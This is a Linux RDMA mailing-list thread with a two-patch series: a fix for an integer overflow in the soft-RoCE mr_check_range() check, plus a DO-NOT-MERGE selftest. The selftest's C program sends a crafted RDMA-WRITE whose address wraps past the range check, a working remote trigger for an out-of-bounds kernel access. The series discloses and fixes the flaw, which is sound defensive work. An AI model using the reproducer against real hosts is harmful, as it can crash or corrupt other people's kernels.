Linux RDMA and InfiniBand development
 help / color / mirror / Atom feed
* [PATCH net 0/2] RDMA/rxe: fix mr_check_range() iova overflow (OOB)
@ 2026-07-28  9:11 Gang Yan
  2026-07-28  9:11 ` [PATCH net 1/2] RDMA/rxe: Fix integer overflow in mr_check_range() leading to OOB access Gang Yan
  2026-07-28  9:11 ` [PATCH net 2/2] DO-NOT-MERGE: selftest: add rxe mr_check_range() overflow reproducer Gang Yan
  0 siblings, 2 replies; 3+ messages in thread
From: Gang Yan @ 2026-07-28  9:11 UTC (permalink / raw)
  To: zyjzyj2000; +Cc: linux-rdma, Gang Yan

From: Gang Yan <yangang@kylinos.cn>

Hi, Maintainers

I've recently started learning RDMA, using soft-RoCE (rxe) as my study
platform. While pair-programming with an AI assistant during this learning,
it flagged an integer overflow in mr_check_range(). I dug in, stood up a
small reproducer, and -- believing the issue is real and worth fixing --
put together this small series.

Thanks
Gang

Gang Yan (2):
  RDMA/rxe: Fix integer overflow in mr_check_range() leading to OOB
    access
  DO-NOT-MERGE: selftest: add rxe mr_check_range() overflow reproducer

 drivers/infiniband/sw/rxe/rxe_mr.c            |   3 +-
 tools/testing/selftests/rdma/Makefile         |   8 +-
 tools/testing/selftests/rdma/config           |   2 +
 .../testing/selftests/rdma/rxe_mr_overflow.c  | 187 ++++++++++++++++++
 .../testing/selftests/rdma/rxe_mr_overflow.sh | 132 +++++++++++++
 5 files changed, 330 insertions(+), 2 deletions(-)
 create mode 100644 tools/testing/selftests/rdma/rxe_mr_overflow.c
 create mode 100644 tools/testing/selftests/rdma/rxe_mr_overflow.sh

-- 
2.43.0


^ permalink raw reply	[flat|nested] 3+ messages in thread

* [PATCH net 1/2] RDMA/rxe: Fix integer overflow in mr_check_range() leading to OOB access
  2026-07-28  9:11 [PATCH net 0/2] RDMA/rxe: fix mr_check_range() iova overflow (OOB) Gang Yan
@ 2026-07-28  9:11 ` Gang Yan
  2026-07-28  9:11 ` [PATCH net 2/2] DO-NOT-MERGE: selftest: add rxe mr_check_range() overflow reproducer Gang Yan
  1 sibling, 0 replies; 3+ messages in thread
From: Gang Yan @ 2026-07-28  9:11 UTC (permalink / raw)
  To: zyjzyj2000; +Cc: linux-rdma, Gang Yan

From: Gang Yan <yangang@kylinos.cn>

mr_check_range() validates that [iova, iova+length) falls within the
registered MR range using wraparound-prone arithmetic:

    if (iova < mr->ibmr.iova ||
        iova + length > mr->ibmr.iova + mr->ibmr.length)

A remote peer can craft an RDMA-Write/Read RETH so that iova + length
wraps to 0 (e.g. iova=0xfffffffffffffff8, length=8), bypassing the
check. rxe_mr_iova_to_index() then computes a huge index (int idx, only
guarded by WARN_ON) and rxe_mr_copy_xarray() dereferences
mr->page_info[huge], causing an out-of-bounds read/write and a kernel
oops that is triggerable by an unauthenticated remote peer.

Rewrite the check in overflow-safe form; the first two clauses guarantee
that the subsequent subtractions do not underflow:

    if (iova < mr->ibmr.iova ||
        length > mr->ibmr.length ||
        iova - mr->ibmr.iova > mr->ibmr.length - length)

With the fix, mr_check_range() returns -EINVAL for the crafted iova and
the responder reports REMOTE_ACCESS_ERROR instead of triggering the OOB.

Assisted-by: Codex: GLM-5.2
Fixes: 8700e3e7c485 ("Soft RoCE driver")
Signed-off-by: Gang Yan <yangang@kylinos.cn>
---
 drivers/infiniband/sw/rxe/rxe_mr.c | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/drivers/infiniband/sw/rxe/rxe_mr.c b/drivers/infiniband/sw/rxe/rxe_mr.c
index 875eceb55fdf..71d9ea477289 100644
--- a/drivers/infiniband/sw/rxe/rxe_mr.c
+++ b/drivers/infiniband/sw/rxe/rxe_mr.c
@@ -33,7 +33,8 @@ int mr_check_range(struct rxe_mr *mr, u64 iova, size_t length)
 	case IB_MR_TYPE_USER:
 	case IB_MR_TYPE_MEM_REG:
 		if (iova < mr->ibmr.iova ||
-		    iova + length > mr->ibmr.iova + mr->ibmr.length) {
+		    length > mr->ibmr.length ||
+		    iova - mr->ibmr.iova > mr->ibmr.length - length) {
 			rxe_dbg_mr(mr, "iova/length out of range\n");
 			return -EINVAL;
 		}
-- 
2.43.0


^ permalink raw reply related	[flat|nested] 3+ messages in thread

* [PATCH net 2/2] DO-NOT-MERGE: selftest: add rxe mr_check_range() overflow reproducer
  2026-07-28  9:11 [PATCH net 0/2] RDMA/rxe: fix mr_check_range() iova overflow (OOB) Gang Yan
  2026-07-28  9:11 ` [PATCH net 1/2] RDMA/rxe: Fix integer overflow in mr_check_range() leading to OOB access Gang Yan
@ 2026-07-28  9:11 ` Gang Yan
  1 sibling, 0 replies; 3+ messages in thread
From: Gang Yan @ 2026-07-28  9:11 UTC (permalink / raw)
  To: zyjzyj2000; +Cc: linux-rdma, Gang Yan

From: Gang Yan <yangang@kylinos.cn>

This patch is for reproduce the OOB issue.

Requirements:
* Kernel built with ``CONFIG_INFINIBAND``, ``CONFIG_INFINIBAND_USER_ACCESS``
  and ``CONFIG_RDMA_RXE`` (=m is fine).
* ``rdma_rxe`` module loadable (``modprobe rdma_rxe``).
* Userspace headers/libs to build the helper: ``libibverbs-dev``,
  ``librdmacm-dev``.
* Root (the script builds a network namespace, a veth pair and two rxe
  devices).

BUILD and RUN:
    cd tools/testing/selftests/rdma
    make
    # as root:
    ./rxe_mr_overflow.sh

Expected results (Unpatched kernel (bug present) — FAIL):
The kernel log shows the index WARNING immediately followed by an OOB Oops
in the responder path::

    WARNING: CPU: N PID: ... at rxe_mr_iova_to_index+0x.../0x... [rdma_rxe]
    ...
    RIP: 0010:rxe_mr_iova_to_index+0x.../0x... [rdma_rxe]
    Call Trace:
     <TASK>
     rxe_mr_copy+0x.../0x... [rdma_rxe]
     rxe_receiver+0x.../0x... [rdma_rxe]
     do_work+0x.../0x... [rdma_rxe]
     ...
    Oops: general protection fault, probably for non-canonical address 0x...
    Workqueue: rxe_wq do_work [rdma_rxe]
    RIP: 0010:rxe_mr_copy+0x.../0x... [rdma_rxe]
    Call Trace:
     <TASK>
     rxe_mr_copy+0x.../0x... [rdma_rxe]
     rxe_receiver+0x.../0x... [rdma_rxe]
     do_work+0x.../0x... [rdma_rxe]

Assisted-by: Codex: GLM-5.2
Signed-off-by: Gang Yan <yangang@kylinos.cn>
---
 tools/testing/selftests/rdma/Makefile         |   8 +-
 tools/testing/selftests/rdma/config           |   2 +
 .../testing/selftests/rdma/rxe_mr_overflow.c  | 187 ++++++++++++++++++
 .../testing/selftests/rdma/rxe_mr_overflow.sh | 132 +++++++++++++
 4 files changed, 328 insertions(+), 1 deletion(-)
 create mode 100644 tools/testing/selftests/rdma/rxe_mr_overflow.c
 create mode 100644 tools/testing/selftests/rdma/rxe_mr_overflow.sh

diff --git a/tools/testing/selftests/rdma/Makefile b/tools/testing/selftests/rdma/Makefile
index 07af7f15c1bf..effeb8121d41 100644
--- a/tools/testing/selftests/rdma/Makefile
+++ b/tools/testing/selftests/rdma/Makefile
@@ -1,8 +1,14 @@
 # SPDX-License-Identifier: GPL-2.0
-TEST_PROGS := rxe_rping_between_netns.sh \
+TEST_GEN_FILES := rxe_mr_overflow
+TEST_PROGS := rxe_mr_overflow.sh \
+		rxe_rping_between_netns.sh \
 		rxe_ipv6.sh \
 		rxe_socket_with_netns.sh \
 		rxe_test_NETDEV_UNREGISTER.sh \
 		rxe_sent_rcvd_bytes.sh
 
 include ../lib.mk
+
+# rxe_mr_overflow uses libibverbs / librdmacm
+$(OUTPUT)/rxe_mr_overflow: CFLAGS += -O2 -Wall
+$(OUTPUT)/rxe_mr_overflow: LDLIBS += -libverbs -lrdmacm
diff --git a/tools/testing/selftests/rdma/config b/tools/testing/selftests/rdma/config
index 4ffb814e253b..bc27ce3ec093 100644
--- a/tools/testing/selftests/rdma/config
+++ b/tools/testing/selftests/rdma/config
@@ -1,3 +1,5 @@
 CONFIG_TUN
 CONFIG_VETH
 CONFIG_RDMA_RXE
+CONFIG_INFINIBAND
+CONFIG_INFINIBAND_USER_ACCESS
diff --git a/tools/testing/selftests/rdma/rxe_mr_overflow.c b/tools/testing/selftests/rdma/rxe_mr_overflow.c
new file mode 100644
index 000000000000..ccad930533ac
--- /dev/null
+++ b/tools/testing/selftests/rdma/rxe_mr_overflow.c
@@ -0,0 +1,187 @@
+// SPDX-License-Identifier: GPL-2.0
+/*
+ * rxe_mr_overflow.c - trigger mr_check_range() iova overflow (OOB)
+ *
+ * Companion to rxe_mr_overflow.sh. The server registers a USER/MEM_REG MR
+ * and accepts an RDMA_CM connection, passing its rkey via private data. The
+ * client posts a single RDMA-WRITE whose remote_addr is chosen so that
+ * iova + length wraps to 0 in mr_check_range():
+ *
+ *     iova + length = 0xfffffffffffffff8 + 8 = 2^64 = 0
+ *
+ * On an *unpatched* kernel this bypasses mr_check_range(), and the responder
+ * computes a huge index in rxe_mr_iova_to_index() (WARN_ON(idx >= nbuf)) and
+ * dereferences mr->page_info[huge] -> out-of-bounds access / oops.
+ *
+ * On a *patched* kernel mr_check_range() rejects the crafted iova and the
+ * client completion is IBV_WC_REM_ACCESS_ERR (remote access error).
+ *
+ * Build: see Makefile (needs libibverbs-dev / librdmacm-dev).
+ */
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+#include <stdint.h>
+#include <arpa/inet.h>
+#include <infiniband/verbs.h>
+#include <rdma/rdma_cma.h>
+
+#define BAD_ADDR	0xfffffffffffffff8ULL	/* iova + WR_LEN wraps to 0 */
+#define WR_LEN		8
+#define MR_LEN		4096
+
+struct mr_info {
+	uint32_t rkey;
+	uint32_t pad;
+	uint64_t iova;
+} __attribute__((packed));
+
+static int wait_ev(struct rdma_event_channel *ec, struct rdma_cm_event **ev,
+		   enum rdma_cm_event_type want)
+{
+	while (rdma_get_cm_event(ec, ev) == 0) {
+		if ((*ev)->event != want) {
+			fprintf(stderr, "unexpected event %s (want %s)\n",
+				rdma_event_str((*ev)->event), rdma_event_str(want));
+			rdma_ack_cm_event(*ev);
+			return -1;
+		}
+		return 0;
+	}
+	perror("rdma_get_cm_event");
+	return -1;
+}
+
+static int run_server(const char *ip, int port)
+{
+	struct rdma_event_channel *ec = rdma_create_event_channel();
+	struct rdma_cm_id *lid;
+	struct rdma_cm_event *ev;
+
+	if (!ec) { perror("event_channel"); return 1; }
+	if (rdma_create_id(ec, &lid, NULL, RDMA_PS_TCP)) { perror("create_id"); return 1; }
+
+	struct sockaddr_in sin = {0};
+	sin.sin_family = AF_INET;
+	sin.sin_port = htons(port);
+	if (!inet_pton(AF_INET, ip, &sin.sin_addr)) { fprintf(stderr, "bad ip\n"); return 1; }
+
+	if (rdma_bind_addr(lid, (struct sockaddr *)&sin)) { perror("bind_addr"); return 1; }
+	if (rdma_listen(lid, 1)) { perror("listen"); return 1; }
+	printf("[server] listen %s:%d dev=%s\n", ip, port,
+		lid->verbs ? ibv_get_device_name(lid->verbs->device) : "?");
+	fflush(stdout);
+
+	if (wait_ev(ec, &ev, RDMA_CM_EVENT_CONNECT_REQUEST)) return 1;
+	struct rdma_cm_id *id = ev->id;
+
+	struct ibv_pd *pd = ibv_alloc_pd(id->verbs);
+	struct ibv_cq *cq = ibv_create_cq(id->verbs, 8, NULL, NULL, 0);
+	if (!pd || !cq) { perror("alloc_pd/create_cq"); return 1; }
+	void *buf = calloc(1, MR_LEN);
+	struct ibv_mr *mr = ibv_reg_mr(pd, buf, MR_LEN,
+		IBV_ACCESS_LOCAL_WRITE | IBV_ACCESS_REMOTE_WRITE);
+	if (!mr) { perror("reg_mr"); return 1; }
+
+	struct ibv_qp_init_attr qa = {0};
+	qa.send_cq = cq; qa.recv_cq = cq; qa.qp_type = IBV_QPT_RC;
+	qa.cap.max_send_wr = 4; qa.cap.max_recv_wr = 4;
+	qa.cap.max_send_sge = 2; qa.cap.max_recv_sge = 2;
+	if (rdma_create_qp(id, pd, &qa)) { perror("create_qp"); return 1; }
+
+	struct mr_info info = { .rkey = mr->rkey, .iova = (uint64_t)(uintptr_t)buf };
+	struct rdma_conn_param p = {0};
+	p.private_data = &info;
+	p.private_data_len = sizeof(info);
+	p.initiator_depth = 1;
+	p.responder_resources = 1;
+	if (rdma_accept(id, &p)) { perror("accept"); return 1; }
+	rdma_ack_cm_event(ev);
+	printf("[server] accepted rkey=%#x iova=%#llx; waiting for client write\n",
+		mr->rkey, (unsigned long long)info.iova);
+	fflush(stdout);
+
+	/* The OOB (if unpatched) fires here in the responder path. */
+	sleep(5);
+	return 0;
+}
+
+static int run_client(const char *ip, int port)
+{
+	struct rdma_event_channel *ec = rdma_create_event_channel();
+	struct rdma_cm_id *id;
+	struct rdma_cm_event *ev;
+
+	if (!ec) { perror("event_channel"); return 1; }
+	if (rdma_create_id(ec, &id, NULL, RDMA_PS_TCP)) { perror("create_id"); return 1; }
+
+	struct sockaddr_in sin = {0};
+	sin.sin_family = AF_INET; sin.sin_port = htons(port);
+	if (!inet_pton(AF_INET, ip, &sin.sin_addr)) { fprintf(stderr, "bad ip\n"); return 1; }
+
+	if (rdma_resolve_addr(id, NULL, (struct sockaddr *)&sin, 5000)) { perror("resolve_addr"); return 1; }
+	if (wait_ev(ec, &ev, RDMA_CM_EVENT_ADDR_RESOLVED)) return 1;
+	rdma_ack_cm_event(ev);
+	if (rdma_resolve_route(id, 5000)) { perror("resolve_route"); return 1; }
+	if (wait_ev(ec, &ev, RDMA_CM_EVENT_ROUTE_RESOLVED)) return 1;
+	rdma_ack_cm_event(ev);
+
+	struct ibv_pd *pd = ibv_alloc_pd(id->verbs);
+	struct ibv_cq *cq = ibv_create_cq(id->verbs, 8, NULL, NULL, 0);
+	void *buf = calloc(1, MR_LEN);
+	struct ibv_mr *mr = ibv_reg_mr(pd, buf, MR_LEN, IBV_ACCESS_LOCAL_WRITE);
+	struct ibv_qp_init_attr qa = {0};
+	qa.send_cq = cq; qa.recv_cq = cq; qa.qp_type = IBV_QPT_RC;
+	qa.cap.max_send_wr = 4; qa.cap.max_recv_wr = 4;
+	qa.cap.max_send_sge = 2; qa.cap.max_recv_sge = 2;
+	if (rdma_create_qp(id, pd, &qa)) { perror("create_qp"); return 1; }
+
+	struct rdma_conn_param p = {0};
+	p.initiator_depth = 1; p.responder_resources = 1; p.retry_count = 3;
+	if (rdma_connect(id, &p)) { perror("connect"); return 1; }
+	if (wait_ev(ec, &ev, RDMA_CM_EVENT_ESTABLISHED)) return 1;
+
+	struct mr_info info = {0};
+	if (ev->param.conn.private_data_len >= (int)sizeof(info))
+		memcpy(&info, ev->param.conn.private_data, sizeof(info));
+	rdma_ack_cm_event(ev);
+
+	/* The malicious RDMA-WRITE: remote_addr makes iova+length wrap. */
+	struct ibv_sge sge = { .addr = (uintptr_t)buf, .length = WR_LEN, .lkey = mr->lkey };
+	struct ibv_send_wr wr = {0}, *bad;
+	wr.wr_id = 0xdead;
+	wr.opcode = IBV_WR_RDMA_WRITE;
+	wr.send_flags = IBV_SEND_SIGNALED;
+	wr.sg_list = &sge;
+	wr.num_sge = 1;
+	wr.wr.rdma.remote_addr = BAD_ADDR;
+	wr.wr.rdma.rkey = info.rkey;
+	printf("[client] post RDMA-WRITE remote_addr=%#llx len=%d rkey=%#x\n",
+		(unsigned long long)BAD_ADDR, WR_LEN, info.rkey);
+	fflush(stdout);
+	ibv_post_send(id->qp, &wr, &bad);
+
+	struct ibv_wc wc;
+	int n, tries = 5000;
+	while (tries-- > 0 && (n = ibv_poll_cq(cq, 1, &wc)) == 0)
+		usleep(1000);
+	if (n > 0)
+		printf("[client] completion status=%d (%s)\n",
+			wc.status, ibv_wc_status_str(wc.status));
+	else
+		printf("[client] no completion (responder likely crashed)\n");
+	sleep(2);
+	return 0;
+}
+
+int main(int argc, char **argv)
+{
+	if (argc == 3)			/* server <ip> <port> */
+		return run_server(argv[1], atoi(argv[2]));
+	if (argc == 4 && !strcmp(argv[1], "-c"))	/* -c <ip> <port> */
+		return run_client(argv[2], atoi(argv[3]));
+	fprintf(stderr, "Usage:\n  server: %s <ip> <port>\n  client: %s -c <ip> <port>\n",
+		argv[0], argv[0]);
+	return 1;
+}
diff --git a/tools/testing/selftests/rdma/rxe_mr_overflow.sh b/tools/testing/selftests/rdma/rxe_mr_overflow.sh
new file mode 100644
index 000000000000..2590e41be99b
--- /dev/null
+++ b/tools/testing/selftests/rdma/rxe_mr_overflow.sh
@@ -0,0 +1,132 @@
+#!/bin/bash
+# SPDX-License-Identifier: GPL-2.0
+#
+# Regression test for the mr_check_range() iova overflow in SoftRoCE (rxe).
+#
+# A remote peer can craft an RDMA-WRITE whose RETH makes iova + length wrap
+# to 0, bypassing the old
+#
+#	if (iova + length > mr->ibmr.iova + mr->ibmr.length)
+#
+# range check in mr_check_range(). The responder then derives a huge page
+# index in rxe_mr_iova_to_index() (only WARN_ON-guarded) and dereferences
+# mr->page_info[huge] -> out-of-bounds read/write / kernel oops, triggerable
+# by an unauthenticated remote peer.
+#
+# Fixed by rewriting the check in overflow-safe form:
+#
+#	if (iova < mr->ibmr.iova ||
+#	    length > mr->ibmr.length ||
+#	    iova - mr->ibmr.iova > mr->ibmr.length - length)
+#
+# Topology: a veth pair across a network namespace, one rxe device on each
+# end. The server (ns) registers a USER MR and accepts an RDMA_CM
+# connection, passing its rkey/iova in the private data. The client (host)
+# posts one RDMA-WRITE with remote_addr = 0xfffffffffffffff8, len = 8.
+#
+#   - Patched kernel:   PASS  (mr_check_range() rejects the crafted iova;
+#                              the client completion is IBV_WC_REM_ACCESS_ERR;
+#                              no kernel warning/oops in dmesg)
+#   - Unpatched kernel: FAIL  (WARN_ON in rxe_mr_iova_to_index followed by
+#                              an OOB page fault / oops in rxe_mr_copy)
+
+NS="rxe_mrovf"
+VETH_NS="vmo-a"
+VETH_HOST="vmo-b"
+IP_NS="1.1.1.1"
+IP_HOST="1.1.1.2"
+PORT=4792
+BIN="$(dirname "$(readlink -f "$0")")/rxe_mr_overflow"
+
+source "$(dirname "$0")/../kselftest/ktap_helpers.sh"
+
+SRV=
+
+# Remove the topology this script creates. Idempotent: safe to call even when
+# some of the resources no longer exist (e.g. partial setup, prior abort).
+rxe_teardown() {
+	rdma link del rxe1 2>/dev/null
+	ip netns exec "$NS" rdma link del rxe0 2>/dev/null
+	ip link delete "$VETH_HOST" 2>/dev/null
+	ip netns del "$NS" 2>/dev/null
+}
+
+cleanup() {
+	trap '' INT TERM EXIT		# guard against re-entry
+	# Kill the server first so the client does not block on a dead peer.
+	[ -n "$SRV" ] && kill "$SRV" 2>/dev/null
+	wait "$SRV" 2>/dev/null
+	rxe_teardown
+	modprobe -r rdma_rxe 2>/dev/null
+}
+# Cover normal exit, Ctrl+C (SIGINT) and kill (SIGTERM) alike.
+trap cleanup INT TERM EXIT
+
+# Tear down any leftover topology from a previous aborted run (SIGINT, kill
+# -9, guest crash, ...) so this script is always re-runnable instead of
+# failing on "RTNETLINK answers: File exists".
+rxe_teardown
+
+# --- Prerequisites ---
+if [ "$EUID" -ne 0 ]; then
+	ktap_print_header
+	ktap_skip_all "needs root"
+	exit "$KSFT_SKIP"
+fi
+if ! modinfo rdma_rxe >/dev/null 2>&1; then
+	ktap_print_header
+	ktap_skip_all "rdma_rxe module not found"
+	exit "$KSFT_SKIP"
+fi
+if [ ! -x "$BIN" ]; then
+	ktap_print_header
+	ktap_skip_all "$BIN not built (needs libibverbs-dev / librdmacm-dev)"
+	exit "$KSFT_SKIP"
+fi
+
+modprobe rdma_rxe >/dev/null 2>&1
+
+# --- Topology: veth pair across a netns, one rxe device on each end ---
+ip netns add "$NS"
+ip link add "$VETH_NS" type veth peer name "$VETH_HOST"
+ip link set "$VETH_NS" netns "$NS"
+
+ip netns exec "$NS" ip addr add "$IP_NS/24" dev "$VETH_NS"
+ip netns exec "$NS" ip link set "$VETH_NS" up
+ip netns exec "$NS" ip link set lo up
+ip addr add "$IP_HOST/24" dev "$VETH_HOST"
+ip link set "$VETH_HOST" up
+
+ip netns exec "$NS" rdma link add rxe0 type rxe netdev "$VETH_NS"
+rdma link add rxe1 type rxe netdev "$VETH_HOST"
+
+if ! ping -c 2 -W 1 "$IP_NS" >/dev/null 2>&1; then
+	ktap_print_header
+	ktap_skip_all "no connectivity between host and netns"
+	exit "$KSFT_SKIP"
+fi
+
+# Only look at warnings produced by this run.
+dmesg -C >/dev/null 2>&1
+
+# --- Run: server in the netns, client on the host ---
+# On an unpatched kernel the crafted WRITE can wedge the responder; wrap both
+# sides in timeout() so the script always reaches a verdict and runs cleanup
+# instead of hanging on a stuck peer.
+ktap_print_header
+ktap_set_plan 1
+
+ip netns exec "$NS" timeout 30 "$BIN" "$IP_NS" "$PORT" >/dev/null 2>&1 &
+SRV=$!
+sleep 2
+timeout 30 "$BIN" -c "$IP_NS" "$PORT" >/dev/null 2>&1
+wait "$SRV" 2>/dev/null
+
+# --- Verdict: any rxe MR-range warning / OOB means the kernel is unpatched ---
+if dmesg 2>/dev/null | grep -qE "rxe_mr_iova_to_index|mr_check_range|BUG:.*rxe_mr_copy|KASAN:.*rxe_mr"; then
+	ktap_test_fail "mr_check_range() iova overflow (UNPATCHED): OOB/WARN in dmesg"
+else
+	ktap_test_pass "mr_check_range() rejected crafted iova (patched)"
+fi
+
+ktap_finished
-- 
2.43.0


^ permalink raw reply related	[flat|nested] 3+ messages in thread

end of thread, other threads:[~2026-07-28  9:12 UTC | newest]

Thread overview: 3+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-07-28  9:11 [PATCH net 0/2] RDMA/rxe: fix mr_check_range() iova overflow (OOB) Gang Yan
2026-07-28  9:11 ` [PATCH net 1/2] RDMA/rxe: Fix integer overflow in mr_check_range() leading to OOB access Gang Yan
2026-07-28  9:11 ` [PATCH net 2/2] DO-NOT-MERGE: selftest: add rxe mr_check_range() overflow reproducer Gang Yan

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox